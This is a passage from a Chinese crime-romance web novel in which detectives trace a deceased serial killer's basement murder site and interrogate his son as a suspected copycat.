程述眼帘微微一垂:“我也不知道,这个场景在我梦中出现了太多次,让我感觉一切都好不真实。”
说完又转向祝好:“祝好,我真的不是在做梦吗?我们真的找到指甲油杀手了?”
祝好抬起手想摸摸他的脸,告诉他这不是在做梦。虽然目前还没有确切的证据证明顾远乔就是指甲油杀手,但直觉告诉她,他们离真相已经不远了。
办公室的门突然被推开,祝好悻悻收回僵在半空的手,转头看向步履匆匆走进来的秦聿风,心生出不好的预感——从他消沉的脸色上看,并不是什么好消息。
果不其然,他叹了口气,说道:“一个好消息,一个坏消息和一个更坏的消息。”
没等他们发问,他就接着道:“我先说坏消息,顾远乔有一个遗孀,两人还育有一个儿子。更坏的消息是,他一年前就因病去世了。”
程述一怔,眼神蓦地暗下来:“什么病?”
“白血病。”秦聿风说:“还有个好消息——应该算是好消息吧,他确诊的日期是小霜被害的半个月后。”
*
春天的雨总是说来就来,空气里浮动着潮湿的泥土气息。浅灰色的天空低垂着,云层如同被雨水浸透的棉絮,沉甸甸压在头顶。
交代警员对顾远乔的背景进行调查后,秦聿风叫上程述和祝好去往顾远乔生前登记的住址。
虽然顾远乔是目前嫌疑最大的人,他的死亡的时间又恰好与凶案停止的时间吻合,但也只能说明或许五年前的那九起案子确实是他所为。
可最近的这两起案子不仅作案手法和犯罪标记与他一模一样,甚至还有之前受害者的照片,那么这些案子究竟是谁做的?
本以为真相马上就要水落石出,没想到迷雾之后却是又一层迷雾。
顾远乔家住在电视台组织建设的集资房小区,环境与新建的商品住宅区没什么差别,价格却比商品房便宜不少。
小区里住的大多数电视台的员工和家属,大家彼此之间都认识,因此保安也很随性。
秦聿风把车停在小区门口,走到保安室从窗口往里看去,只见里面一个穿着蓝色保安制服的大爷正懒洋洋地靠在椅子上,摇头晃脑地听着收音机里的戏曲,还时不时跟着哼唱两句。
秦聿风敲了敲窗口:“大爷,麻烦给我开个门。”
保安大爷眼睛都不睁,摁下桌上的开关,挥挥手示意他们进去。
往里走了两步,程述又回头再次敲了敲窗户:“大爷,我想跟你打听个事。”
大爷缓缓睁开眼睛打量着他,似乎终于想起了自己的职责,不耐烦的问道:“你谁呀?进去干什么?”
秦聿风拿出证件:“警察。”
大爷眼睛一转:“怎么了?出什么事了
吗?”
秦聿风和善地笑了笑:“您在这工作多久了?”
大爷说:“久得很,这小区还没建起来的时候我就已经在电视台的职工大院当保安了。”
“那你认得顾远乔吗?”
“当然认得了。”大爷有些疑惑:“他不是都走了挺久吗?警察找他干什么?”
“没什么,只是有个案子可能跟他有关,所以想问问。”程述问:“他家人还有人住这儿吗?”
大爷终于关掉收音机,挪动屁股下的椅子往窗口靠了些:“有的,他老婆还在,他儿子偶尔也会回来。”
“顾远乔平时是个怎么样的人?”
大爷想了想:“他……就那样吧,没什么特别的,话也不多,看起来挺老实一人。”
“那他妻子跟他关系怎么样?”
大爷露出一个啼笑皆非的表情,啧了一声:“这我怎么知道?我又不睡他俩床底。”
又朝聚集在大树下择菜聊天的一群中年女人努了努嘴:“这种事情你应该去问她们,她们知道得比我多多了。”
祝好顺着他说的方向看去,才注意到他们从进小区那一刻,就已经被一道道热烈的目光给包围了。
看他们走过来,热情的阿姨们不知从哪儿变出几张小板凳请他们坐下:“小伙子,小姑娘,你们很面生啊,应该不是我们小区的吧?”
秦聿风尴尬地笑了一下,摸出证件递给她们:“我是警察,我们来——”
没等他把话说完,阿姨们就不约而同停下择菜的动作,拿起证件传阅起来:“哟,警察啊!还是个队长呢!一个月收入多少,买车买房了吗?”
秦聿风显然不太擅长应付这样的场面,朝祝好和程述投去求助的目光。程述一如既往地幸灾乐祸:“阿姨,他单身,有车有房,工作稳定,最适合当女婿了。”
阿姨们又把火力转向他:“你呢,小伙子,有女朋友了吗?”
程述一本正经地胡说八道:“我孩子都三岁了。”
又指了指祝好:“喏,这就是孩子妈。”
祝好:……
秦聿风:……
秦聿风干咳一声,扬高了声调:“阿姨,我们有几个问题想要问问你们,可以麻烦你们配合一下吗?”
阿姨们这才终于反应过来:“当然可以,你们要问什么?”
“住在3栋二单元601内户人家,你们认识吗?”
一个留着短卷发的阿姨说:“哦,那是顾远乔家吧,我就住他们隔壁。”
另一个阿姨接过话:“顾远乔不是去年就死了吗,好像得了什么病来着。”
“你们认识他妻子吗?”
“认识,不过他们一家人都不怎么爱说话,平时碰面也就打个招呼而已。”
“他们夫妻的关系怎么样?”
“还行吧,反正我没怎么听过他们吵架,他生病的时候他妻子也照顾了他好几年。对了,他们还有个儿子,几年前去了外地上大学,好像今年又回来了。”
正说着,她的目光越过程述的肩膀看向他身后,低声说道:“刚进小区的那个就是他妻子,叫唐凤仪。”
祝好回过头,看到一个穿着黄色外套的中年女人走进小区大门,她手里提着一袋蔬菜,似乎是刚从市场回来。
秦聿风起身上前拦住她:“你好,请问是唐凤仪唐女士吗?”
唐凤仪停下脚步,狐疑地打量着眼前的几个人:“你们是?”
秦聿风朝她出示了证件:“我们有几个问题想问问你,跟你的丈夫顾远乔有关。”
唐凤仪的脸色微微一变:“他人早就死了,你们有什么事?”
秦聿风装作不经意地瞥了一眼聚在树下的阿姨们,朝楼上抬了抬下巴:“请问方便去你家里谈吗?”
循着他的目光,唐凤仪也注意到了正窃窃私语的邻居,有些不情愿地点了点头:“行,跟我来吧。”
第202章
每个单元都有两部电梯,但其中一部正在检修,等电梯的时间变得有些漫长,好在现在不是上下班的高峰期,电梯间里除了他们并没有其他人。
“唐阿姨,您退休了吗?”秦聿风随口问道。
唐凤仪简短地回答:“我是从农村来的,没有工作。”
秦聿风瞥了一眼她手里的袋子:“今天要做什么菜?”
“就是些家常菜,没什么特别的。”
“你跟顾远乔结婚多久了?”
对于唠家常般的问题,唐凤仪的态度算不上有多热情,但还算友好。可一提到顾远乔,她明显僵硬了一瞬,语气也随之冷硬起来:“记不太清了,二十多年吧。”
说话间电梯到了,秦聿风摁住开门键,等所有人都走进电梯后才关上门。
电梯里没有其他人,他接着问:“您跟顾远乔是怎么认识的?”
“别人介绍的。”唐凤仪把脸转向电梯里贴着“**”的广告海报上,目光却没有任何焦点,似乎只是为了避免跟他们对视。
秦聿风对她的冷漠丝毫不在意:“那你们感情怎么样?”
她答得敷衍:“还行。”
六楼很快就到了,唐凤仪将手中提着的袋子倒手,从口袋里拿出钥匙打开了防盗门,兀自提着菜走进了厨房。
屋子的采光不错,就算是阴天也不显昏暗,客厅的空间不算太宽敞,但收拾的井井有条,地板像是刚打扫过,亮堂堂的。门口的地垫上放着的几双鞋从款式和尺码上看均属于唐凤仪,说明她目前是独居。
祝好站在门口朝她问了句:“阿姨,要换鞋吗?”
唐凤仪毫无感情的声音从厨房里飘出来:“不用了,直接进来吧。”
房子是三室两厅的布局,房间门都紧闭着。目前还没有确切的证据表明顾远乔就是指甲油杀手,所以警方并没有权利对他家进行搜查。
唐凤仪背对客厅站在厨房里,将买来的菜一样一样从袋子里拿出来放进洗手池,仿佛客厅里的几个人并不存在,更别说招待他们坐下喝茶了。
程述自顾自在客厅里转了一圈,突然问道:“顾远乔的病是什么时候发现的?”
唐凤仪打开水龙头冲洗菜盆里的黄瓜,淡淡答道:“四五年前吧。”
“一开始他都有些什么症状?”
“没什么特别的症状,之前好像流了一两次鼻血吧,后来去医院检查,就查出他得了个什么……慢性淋巴细胞白血病。”
白血病前期的症状远不止流鼻血,可唐凤仪对此似乎并不关心。在提到
顾远乔时,也不会称他为“我爱人”“我丈夫”,甚至很少称呼他的名字,而是用“他”来代替。
这是一种非常明显的、想要与某人划清界限的行为。
程述又问:“在顾远乔生病之前,有没有经常夜不归宿,或者连续消失好几天?”
“也许有吧,太久了,我记不清了。”或许是察觉到“不记得了”“记不清了”一类的话说了太多次,唐凤仪又补充了一句:“我年纪大了,记性不好。”
程述抱着双臂倚靠在厨房门口:“你不好奇警察为什么来找你吗?”
唐凤仪微怔片刻,若无其事地说道:“不好奇,我没什么文化,你们问什么我答什么就是了。”
秦聿风的手机突然响了,他看了一眼屏幕,把手机递给程述,上面是顾远乔的详细资料。
程述的目光快速地在字里行间穿梭,突然问道:“顾远乔的妈妈、你的婆婆,是在五年前去世的?”
唐凤仪草草地点点头,嗯了一声。
听着他们的对话,祝好心念一动,想到了程述之前的推测。
五年前指甲油杀手的做案间隔突然缩短,很有可能就是因为母亲的突然离世让他失去了重要的心理投射目标,只能通过频繁地杀害与母亲相似的女性来释放愤怒,以填补失去真实目标后的心理空虚,确认自己的存在感和力量感。
程述问:“你家里有她的照片吗?”
唐凤仪语气生硬:“没有。”
程述又问:“在顾远乔的资料里,‘父亲’那一栏是空着的。他没有父亲吗?”
“不知道,反正从我跟他结婚时就没见过。”
“你婆婆是个怎么样的人?”
面对这些琐碎的问题,唐凤仪显得有些不耐烦,但碍于他们警察的身份又不能表现得太明显,只是故意把水龙头开到了最大:“没怎么接触过,她住在其他地方,顾远乔也不要求我去看望她。结婚那么多年,我跟她就没见过几面。”
看她这一问三不知的态度,祝好实在想不明白他们是怎么在一起生活二十多年的。
程述也不打算跟她兜圈子了:“从2000年到2019年的七月份,淮江市一共出现了九起针对年轻女性的连环杀人案,你应该有印象吧?”
唐凤仪的动作明显停顿了一下,随即又若无其事地把洗好的黄瓜放到一旁沥水,给出了一个模棱两可的回答:“我不怎么看新闻。”
秦聿风说:“我们查到一些线索,表明顾远乔可能与这起连环杀人案有关,你跟他在一起生活了那么久,发现过什么端倪吗?”
“没有。”
秦聿风追问:“你就不想知道我们为什么会怀疑他?”
唐凤仪突然有些激动:“他人都已经死了,知道又有什么用?再说了,我只是个从农村出来的家庭主妇,只知道买菜、做饭、收拾家务,他在外面做了什么我不清楚,也从来不会过问。”
程述把目光转向客厅的架子,那里放着一对陶瓷人偶——从款式上看,本应该是一家三口,但不知为何,只剩下了代表妈妈和孩子的那两个。
他问:“你儿子呢?”
“上班,他不跟我一起住。”唐凤仪把一块洗净的猪肉“啪”一声摔在砧板上,甩了甩手上的水:“我要准备晚饭了,没空招待你们,如果没什么事的话请你们先离开吧。”
祝好、程述和秦聿风面面相觑,皆在彼此眼中看到了无奈和不甘。但他们这次来只能算是例行询问,就算唐凤仪不配合,他们也没有办法。
即便他们知道唐凤仪一定在隐瞒着什么,也知道顾远乔有十分重大的嫌疑,可却缺乏实际的证据。没有证据的支撑,所有的推断都只能算是臆测。
从顾远乔家离开,秦聿风的脸色有些阴沉:“唐凤仪的表现也太反常了,她是不是也对顾远乔有所怀疑?”
程述语气笃定:“一定是。”
朝夕相处了二十多年,就算关系再怎么不和谐,也一定能察觉到对方的异常。
祝好疑惑不解:“那她为什么不说实话?”
程述:“住在这种地方,街坊邻居之间都认识,且不说警察登门拜访会对他们一家产生的负面舆论影响,如果顾远乔真的是连环杀手,那她和她儿子不仅在这个小区,甚至在整个淮江市都呆不下去了。”
唐凤仪知道顾远乔可能有嫌疑,又担心外界的偏见会对自己平静的生活造成影响,所以选择缄口不言。
既然从唐凤仪身上找不到突破口,就只能另寻办法了。
程述打开车门坐上了后排,靠在座位上思索良久,说道:“老秦,你让人调查一下顾远乔名下有没有位置偏僻的老房子。”
按照警方的推测,指甲油杀手一直有一个固定的地方用来行凶。
NPK发布在论坛上的那两篇“杀人日记”里也提到过,指甲油杀手在杀害蒋婷婷和许安然之前曾经揭下贴在她们嘴上的胶带,说明他并不担心受害人的叫喊声会引起左邻右舍的关注。
也就是说,这个地方除了能给他带来安全感、对他有某种重要意义之外,必定也偏僻且十分隐蔽。
如果能找到这个地方,就能离真相更近一步了。
秦聿风点点头,给手下的警员打去电话,吩咐完一切后,又问程述:“如果顾远乔真是指甲油杀手,那最近这两起案子到底是谁做的?”
顾远乔五年前就已经确诊了白血病,住进了医院里,也就是从那时候起,他被迫停止了杀戮行为——不是不想,而是有心无力。
一年前他的病情突然恶化,也因此离开人世,那么最近的两起案子就只能是模仿作案。可这个新的凶手究竟是谁,又是如何做到对他的作案手法和作案细节了如指掌,甚至还有之前那些受害者的照片?
祝好提出自己的想法:“会不会是顾远乔的朋友或家人?”
程述敲着方向盘沉吟片刻,问秦聿风:“你刚刚说,顾远乔有个儿子?”
秦聿风点点头:“对。”
“有他儿子的资料吗?”
“我让小孙给我发过来。”秦聿风问:“怎么,你怀疑是他儿子干的?”
程述不置可否:“还记得两位受害者后颈的标志吗?或许我们之前想得太复杂了,两条竖线也可能代表罗马数字中的‘2’,也就是‘第二代’的意思。”
祝好咋舌:“连环杀人犯还能遗传?”
“犯罪行为受社会、心理、生物等多层次因素影响,不过在犯罪心理学中家庭暴力或犯罪行为可能在代际间传递,孩子会通过模仿和观察父母的行为,学习到用暴力解决问题的方式。”
程述打开一瓶矿泉水喝了一口,接着说:“你们刚才也看到了,顾远乔和唐凤仪的关系并不是很好,生活在这样的家庭环境中,孩子的心理和行为多少会受影响。如果他的儿子偶然得知父亲是连环杀手,可能会将犯罪行为视为一种‘传统’,通过模仿作案来获得某种形式的成就感。当然,这不仅仅是简单的模仿,还包含了他自身的某些心理需求。”
秦聿风的手机又响了,他接起电话应了一声,把手机从驾驶座递给程述:“小孙把顾远乔儿子的资料发过来了。他姓唐,叫唐宋,应该是随母姓,目前也在淮江电视台工作。”
唐宋?
祝好心里一惊,蓦地转头看向程述,也从他眼里看到了惊讶和愕然。
联想到从第一次遇到唐宋开始,他的种种看似“巧合”的行为,祝好不禁头皮发麻,起了一身鸡皮疙瘩——难道说,唐宋真的是第二代指甲油杀手吗?
秦聿风说:“唐宋也在淮江电视台工作,要不我们去找他聊聊?”
“别急。”程述摇摇头:“想要让这个推论成立,首先得找到能证明顾远乔就是指甲油杀手的证据。至于唐宋这边,你先派人盯着他就行。”
第203章
回到家时已经八点多了,祝好坐在沙发上,有一下没一下地撸着怀里的白眼狼,思绪有些混乱。
唐宋真的会是杀害夏嫣和严雪儿的凶手吗?
回想起第一次在西临市见到唐宋时,祝好还对他十分戒备,担心他是分享会派来的人。直到他冒着瓢泼大雨和被发现的风险将他们救出,又把好不容易搜集到的证据交给他们,祝好才打消了疑虑。
接下来的几次接触中,他都表现得彬彬有礼,腼腆但又很真诚。祝好实在很难把那个说话时甚至不敢直视对方眼睛的人,跟穷凶极恶的连环杀人犯联系在一起。
“叹什么气呢?”程述在她旁边坐下,给她递了一杯水,打断了她的思绪。
祝好接过水喝了一口,心情有些沉重:“程述,你真的觉得唐宋是凶手吗?”
“不是说了只是推测吗?还是说你的外挂给你提供了新的思路?”
程述边说边捡起地上的玩具老鼠往远处一扔,白眼狼立刻两眼放光,从祝好的腿上弹射起跳,朝着老鼠追去。
祝好拍了拍裤子上的毛,嘟囔说:“这外挂有那么好用就好了。”
可惜魅力值只对可攻略对象起效,如果对那些犯罪嫌疑人也有效果,他们就不必那么大费周章地调查真相了。
程述说:“连环杀手本身就十分善于伪装自己,他让你看到的他、和真正的他,不一定是同一个人。再
说了,我们现在还没有证据,说不定是我的人像剖绘出错了呢。”
祝好知道他是在安慰自己——警方从未对外公布过指甲油杀手的作案过程,如果顾远乔就是指甲油杀手,那么作为他的儿子,唐宋是最有可能了解案件细节的人,同时也是目前嫌疑最大的人。
“别想那么多了,你的脑子一天到晚转个不停,不累吗?”程述挑起眉梢,拍了拍自己的肩膀:“要不把我的肩膀借你靠一靠?”
祝好翻了个白眼,下意识想拒绝,毕竟都说好了等案子结束后再谈私情,但听出他语气里不加掩饰的揶揄,又不想落于下风。
她想了想,说了句“好啊”,往程述的方向挪了一些,把头靠在他的肩上。
程述大概是没想到她真的会靠过来,身上的肌肉倏地绷紧了,脸上的表情也变得不自然。
他这反应正中祝好下怀,祝好强忍笑意,抬起手覆在他胸口上,一本正经地问:“程述,你很紧张吗?”
程述干笑一声:“我有什么好紧张的?”
“那你心跳怎么那么快?”
程述:……
他沉默片刻,突然弯腰一手扶着祝好的后背,另一条胳膊伸进她膝盖窝里轻轻向上一抬。祝好失去平衡,下意识搂住了他的脖子,等反应过来时,才发现自己稳稳坐在了他的腿上。
祝好:?
她身子一僵,挣扎着想要起身,却被程述的双臂紧紧焊住动弹不得,只得将脸偏开,避开了他灼灼的眼神。
炽热的气息拂过耳畔,程述用同样的话问她:“祝好,你很紧张吗?”
没等她回答,他又戏谑地轻笑一声,虚拢在她后背的手掌缓缓收紧:“也是,你也知道我不是什么正人君子,紧张是正常的。”
“你——”祝好咽下未说完的话,咬咬牙,不甘示弱地用手指轻点他的嘴唇,然后沿着下颌一路下滑,最后指尖落在他的喉结上:“你从哪儿看出来我紧张的?”
程述微微一怔,眼神随着她的动作游弋,喉结轻轻滚动。但很快,他眼底的诧异就被某种暗流涌动的情愫所取代,禁锢着她的手臂也愈发有力。
他托住祝好的后脑笑了笑:“不紧张就好,我还以为你想认输了呢,那……”
祝好敏锐地嗅到危险的气息,脑袋里警铃大作,心说不好,好像有点儿玩脱了。
她心虚地轻咳一声,张开手掌遮住程述的目光:“那什么,我、我跟你开玩笑的。咳,太晚了,我该去睡觉了。”
“可我还不想让你走。”程述一把捉住她的手腕,嘴唇摩挲着她的掌心,轻声呢喃:“反正你都付了定金了,尾款不管是分期付还是一次性付清,不都差不多吗?”
酥麻的感觉电流般窜过脊背,祝好的心跳骤然加快,慌乱地想要把手收回来:“好了好了,我认输行了吧?我再也不随便招惹你了。”
程述不为所动,细密的吻落在她的手心:“我就喜欢你招惹我。”
祝好:……
看着她无所措手的样子,程述终于“噗嗤”笑出声,缓缓松开手。脱离禁锢后祝好蓦地站起身,脚底抹油般逃回到了阁楼,才后知后觉自己的脸颊燥热,心脏几乎要从胸腔里跳出来。
*
第二天祝好睡醒时,天才刚蒙蒙亮。习惯了每天早起跟程述去晨跑,她的生物钟都变了。
换好衣服走下楼时,程述也刚好从房间里出来,目光相触的瞬间,祝好回想起昨晚那脸红心跳的一幕幕,赶紧移开了视线,转身进了洗手间。
她刚要关上门,就听到程述的手机响了。
程述接起电话:“老秦?”
是秦聿风打来的,难道是有什么新线索了吗?
她停住手上关门的动作,竖起耳朵仔细聆听。
透过门缝,可以看到程述站在客厅的窗边,只是偶尔嗯一声,然后说:“知道了,我马上过去。”
祝好快速洗漱完,从洗手间里出来,问他:“怎么了?是有什么新发现吗?”
“嗯。”他点点头:“顾远乔的作案地点找到了。”
已经连续下了好几天的雨,路边的风铃木过早开花,花瓣被打落了一地,零落地黏在柏油路面上,又被滚滚的车轮辗过。
按照秦聿风发来的地址,程述把车停在一条狭窄的胡同前。穿过胡同后,一片衰败的废墟出现在眼前。
这里多是连甍接栋的瓦房,偶尔有一两栋五六层楼高的楼房,墙皮已经大片脱落,露出内里的红砖,坑坑洼洼的地面上积着青灰色的雨水——二十多年前,淮江市政府进行了一次轰轰烈烈的城市改造,这儿本来也在改造的行列中,居民也因此纷纷搬离。
然而拆迁才刚要开始,改造计划却因为各种原因搁置了,随着市中心的迁移,这儿如同按下了暂停键,逐渐被飞速发展的城市所遗忘,只剩下支棱在混凝土块里的钢筋刺骨孤独地停留在原地。
顾远乔的整个童年时期都是跟母亲在这里度过的,如果儿时的经历是他创伤的来源,那么旧居对他来说必定有着十分重要的“纪念意义”。
警方查询了他过往登记的地址,经过走访调查,终于锁定了这个地方。
黄黑相间的警戒线将一间残破不堪的瓦房封锁起来,无数警员在其中来来往往,咔擦咔擦的闪光灯此起彼伏,给这片荒废已久的土地带来了别样的“生机”。
秦聿风正站在警戒线外跟温珣交谈,看到祝好和程述,扯下脸上的口罩,跟他们打了个招呼。
程述问:“确定是这儿吗?”
秦聿风朝几名扶着墙吐得稀里哗啦的警员努了努嘴:“看他们的样子不就知道了?”
程述皱眉,说:“我进去看看。”
祝好也想跟上前,却被温珣拦住了。他面露担忧,说道:“祝好,要不你还是别进去了,里面实在是……”
祝好知道他是出于好意,犹豫片刻,还是捏紧口罩,掀开警戒线进了屋里。
屋子里阴暗潮湿,刚走到门口,一股刺鼻的气味就扑面而来,像是腐烂许久的死老鼠,也像是腥咸的铁锈味。
还未搬走的家具支离破碎,角落里堆着的被褥已经沤烂、爬满青苔和霉菌,地上有不少已经干涸的血迹,滴落的、拖拽的、挣扎的、喷溅的,触目惊心。
但这些血迹显然只是在搬运的过程中留下的,顾远乔真正的作案地点,是位于瓦房后面的一间地下室。
顺着漆黑狭窄的楼梯间往下走,祝好终于明白了温珣劝她不要进来的原因——虽然顾远乔做了简易的排水系统,但这里的血迹几乎涂满地面,甚至渗进了墙壁的缝隙中。经年日久,已经变成了黑褐色。
二十几年来,多名女性在这不见天日的地下室里饱受折磨、失去性命,她们的冤魂也被禁锢在此,夜夜哭泣,等待着那扇锈迹斑斑的铁门被破开,向世人诉说她们死亡的真相和顾远乔的罪行。
祝好有些想吐,腹腔里的五脏六腑仿佛被一股脑扔进了破壁机里绞得粉碎,然后翻涌着冲上喉头。她闭上眼睛,想要强压下这股反胃感。
程述轻轻拍了拍她的后背,她转过头,看到他眼尾泛着微微的红,知道他此刻一定也不好受——毕竟那些躞蹀的冤魂中,说不定就有程霜。
祝好摇摇头,做了个深呼吸,定神环视着这间地下室。
地下室不大,大概也就七八平米,除了满地黑褐色的血迹外,墙上还挂着染血的麻绳和各式各样的刀具。墙角有一张摇摇欲坠的木桌,木桌上布满灰尘,有一块区域相对来说却要干净许多,仿佛那里曾经长期摆放着什么东西,只是最近被人拿走了——从形状上看,像是一本笔记本。
程述肯定了她的想法:“顾远乔应该有写日记和拍照片的习惯,方便他回味犯罪的过程。”
这么说来,NPK发布在论坛上的照片和日记都是出自这本消失的笔记本,而带走笔记本的人,有可能就是杀
害夏嫣和严雪儿的凶手,也就是第二代指甲油杀手。
离开地下室,站在满是残砖碎瓦的水泥地上,祝好忍不住回过头,仿佛见到一个个鲜活年轻的女孩牵着手从漆黑的楼梯间走出来,站在她身旁,微笑着抬头望向天空。
循着她们的目光,祝好突然发现雨已经停了。金色的阳光陡然间破开乌云的罅隙,缓缓倾泻而下。
第204章
从顾远乔的地下室采集到的DNA样本数量太多,光靠警局的法医室根本忙不过来,只能分散到各个医院和实验室进行检验,并很快有了结果——那些血液有一部分被证实均来自过去二十四年间,九起连环杀人案中的受害者。
之所以说是一部分,是因为其中还有两份DNA不属于那九名受害者。
经过与顾远乔保留在医院里的血液样本进行比对后,最终确认一份属于他,而另一份则与他的基因相似度指数为99.9%,两份DNA存在亲子关系。
而这份DNA,又与在严雪儿的抛尸现场提取到的微量血液属于同一个人。
有了这份鉴定报告,秦聿风当即派人去了电视台,把唐宋带回了警局里。
身着黑色卫衣的唐宋坐在审讯室里左顾右盼,一脸茫然,双手在桌子底下不安地搅动着,似乎还没想明白为什么自己突然被带到了这儿。
隔着单向玻璃,秦聿风边翻看唐宋的资料,边自言自语:“身高一米七五,体重65.5千克,跟陶斯然见到的那个把夏嫣带走的人身形很相似啊。”
看到负责审讯的警员推门而入,唐宋倏地坐直身子,声音有些紧绷:“警察同志,能不能告诉我到底发生了什么?为什么把我带到这儿来?”
警员冷冷地问:“你真的不知道为什么吗?”
面对警员审视的目光,唐宋局促地摇了摇头:“我、我不知道啊,是不是有什么误会?”
见惯了太多在审讯室里坑蒙拐骗、装疯卖傻的人,警员丝毫不买账,直截了当问道:“顾远乔是你父亲吗?”
“是的。”给出了肯定的回答后,他又主动解释:“不过我跟我妈妈姓。”
“你父母的关系怎么样?”
唐宋低着头抿了一下嘴唇:“普普通通吧,说不上有多亲密,但也还算……相敬如宾。”
“那你跟你父亲的关系怎么样?”
唐宋想了想:“我父亲工作忙,性格比较沉闷,不太爱说话,也不怎么跟我交流,从小到大都是我妈在照顾我的生活起居。”
“你还有其他兄弟姐妹吗?”
“没有,我爸妈只有我一个孩子。”
“在你父亲生病之前,你有没有察觉过他有什么异常的行为?”
唐宋似乎有些无奈,飞快地皱了下眉,疑惑地看着警员:“你们为什么要问关于我父亲的事?”
警员:“你先回答我的问题,你父亲在生病前,有没有经常晚归或者夜不归宿,有时候甚至连续消失好几天?”
唐宋说:“他是电视台的摄像师,碰上突发的新闻,连续出差好几天也很正常。”
这个回答倒是合情合理。
说完他又小心翼翼地问:“警察同志,能不能告诉我到底出了什么事?”
警员的面色变得严肃起来:“过去24年间,淮江市发生过多起针对年轻女性的恶性连环杀人案,这件事你应该知道吧?”
唐宋点点头:“知道,我最近正好想就这个案子写一篇报道,所以做了些调查。”
唐宋的资料上写着他是上大学后才去的西临市,此前一直在淮江市生活。可上回一起吃饭时,他明明说自己从小在西临市长大,对指甲油杀手的事情并不了解。
祝好心情有些复杂,难道他一直都在撒谎吗?
警员接着说:“五年前,这名连环杀手突然停止作案,而他消失的时间,正好与你父亲顾远乔罹患白血病住院的时间吻合。”
“这……”唐宋明显顿了一下,才问:“这是什么意思?”
“那我就直说了。”警员说:“我们顺着线索找到顾远乔曾经居住过的房子,并在地下室发现了所有受害者的DNA,以及一份属于顾远乔本人的DNA,所有证据都指明他就是涉嫌杀害九名女性的凶手。”
唐宋半张着嘴呆呆地看着警员,脸上的表情仿佛凝滞住了。警员的话已经十分清晰明了,但他还是花了很长时间才反应过来,不可置信地又重复了一遍:“你说……我父亲是连环杀手?”
警员面无表情地给出了肯定的回答,然后说:“别告诉我你对此一无所知。”
唐宋又一次沉默了,这回他沉默的时间甚至比刚才更久。
审讯室里陷入了极度的安静,警员整理好手上的文件,正准备在他狡辩时把证据甩给他看,没想到他缓缓开口,说道:“居然真的是他。”
这个回答意味着他早就怀疑——甚至是早就知道顾远乔就是指甲油杀手,但与唐凤仪的抗拒和刻意隐瞒相比,他坦率得出乎意料。无论是审讯室里的警员还是在监控室的所有人,闻言都微微一愣。
警员顺着他的话音问道:“你知道你父亲是凶手?”
唐宋并没有直接回答警员的问题,他用手扶着额头,似乎陷入了某种深沉的回忆中:“在我的印象中,我父亲一直都对我和我妈很冷漠,就算在家里他也很少跟我们说话,我也早就习惯了他早出晚归、甚至好几天才回家一次的生活,至于他在外面做什么,我虽然好奇,但也不敢过问。”
“五年前案件发生得最频繁的时候,我正在备战高考,后来他得了白血病,住进了医院,我也去了西临市上大学。大概一年多以前,有一天我去医院照顾他,他突然拉着我说了很多莫名其妙的话,什么指甲油、女人、该死之类的……”
唐宋拿起水杯把剩下的水喝完,接着说道:“当时他的身体状况很差,神志也已经不太清楚了,我还以为他只是胡言乱语,就没放在心上,毕竟当年的新闻闹得很大,我想他可能只是无意中看到了什么或是听到了什么才会那么说的。”
“直到那天电视台突然收到了那封邮件,我才突然想起了这件事。你说得没错,案件停止时正好就是他住院的时候。可他已经去世了,我没办法证实他的话,又不想直接问我
妈,所以特地争取了一个现场采访的名额,又翻阅了大量的资料和新闻,就是想要弄清到底发生了什么。”
警员问:“你既然怀疑他,为什么不报警?”
唐宋苦笑:“警察同志,谁也不希望自己的父亲是一个臭名昭著的连环杀手吧?其实你们刚才问我关于他的事情时,我就已经有预感了,只是仍抱着一丝侥幸心理,不想相信这是真的。”
警员没就顾远乔的案子继续说下去,转而问道:“2月17号晚上,以及2月20号晚上,你分别在哪儿?”
唐宋微微一怔,有些不明所以,但还是低着头回想了好一会儿,老实回答:“……这是一个多星期以前的事情了吧,我记不太清楚了,不过平时如果不用加班我一般都在家里。”
“有谁能证明?”
唐宋摇摇头:“没有人,我平时一个人住。”
监控室里的秦聿风叫来一名警员,说道:“派人去唐宋家小区把监控拷贝回来,确定一下他那两天晚上的行踪。”
警员应了一声,匆匆离开了。
程述抱着双臂看着审讯室里的唐宋,说道:“我去跟他聊聊。”
秦聿风点了点头表示默许。
审讯室的门被推开,警员看到程述,起身给他让了个位置。
见到熟悉的面孔,唐宋稍稍调整了情绪,跟他打了声招呼:“程先生。”
程述没理会他,也没在警员让出的位置上坐下,只是靠在桌子旁,兀自拿起桌上的笔录翻阅起来。
等了好半天没有回应,唐宋又试探性地轻咳一声,说道:“很抱歉那天跟你和祝小姐撒谎了,我只是想从你们那里得到一些信息。关于我父亲的事,请替我跟受害者家属说一声抱歉,如果有什么我能做的……”
程述抬起手打断了他未说完的话,朝他笑了笑:“我不是来谈你父亲的事,他的案子证据确凿,已经没得洗了。我接下来要谈的事,跟你有关。”
唐宋神色一僵,嘴唇微微翕动:“我?”
程述不轻不重地把笔录掼在桌上,突然走到他面前,把他卫衣的袖子撸到胳膊肘。
在他的手臂上,有一道长约五六厘米的伤疤,疤痕呈嫩粉色,看样子应该是刚愈合不久。
程述冷声问道:“这道疤怎么来的?”
唐宋愣了一下,说:“之前搬东西的时候不小心被划伤的。”
程述追问:“被什么东西划伤的?”
唐宋抽回自己的手,嗫嚅道:“一颗钉子。”
程述不打算跟他兜圈子了,从桌上的文件里翻出那份鉴定报告甩在他面前:“最近发生了两起杀人案,作案细节和作案手法都与顾远乔几乎一模一样,并且我们在地下室里还发现了另一份DNA。这份DNA的样本,与其中一起案子的抛尸现场中发现的样本属于同一个人,并且与顾远乔的基因相似度指数为99.9%。”
他停顿了一下:“而你刚才说,你没有兄弟姐妹。”
唐宋露出一脸信息量过载的茫然,似乎一时没明白他的意思,问道:“什么?”
程述居高临下,面无表情地看着他:“意思就是,在地下室和其中一个抛尸现场中发现DNA很有可能来自于他的亲生儿子——你。”
“我?怎么可能,我从来没去过那个什么地下室,抛尸现场就更不可能了,你们一定是搞错了!”唐宋焦急地辩解:“再说了,我怎么可能会杀人,我为什么要杀她们?”
程述不以为意地笑了一下,回到审讯桌后坐下,问了个无关紧要的问题:“唐宋,你念书的时候,是不是经常遭到同学的排挤?”
话题转变得太快,唐宋一时反应不及,愣怔片刻,问道:“什么意思?”
程述用食指指了指自己的左脸——在唐宋的左脸上,有一块十分明显的胎记。
他说道:“你说你父亲不爱说话,也不怎么跟你交流,我想现实应该更糟糕吧。他忽视你,冷落你,心情不好的时候还会莫名的对你或者你母亲拳脚相加。而你的母亲则对你过分关心,几乎把所有的心血都倾注到你身上,可她关心的只是你的成绩好不好,并不在乎你在学校过得开不开心,有没有因为这个胎记被人欺负,对吗?”
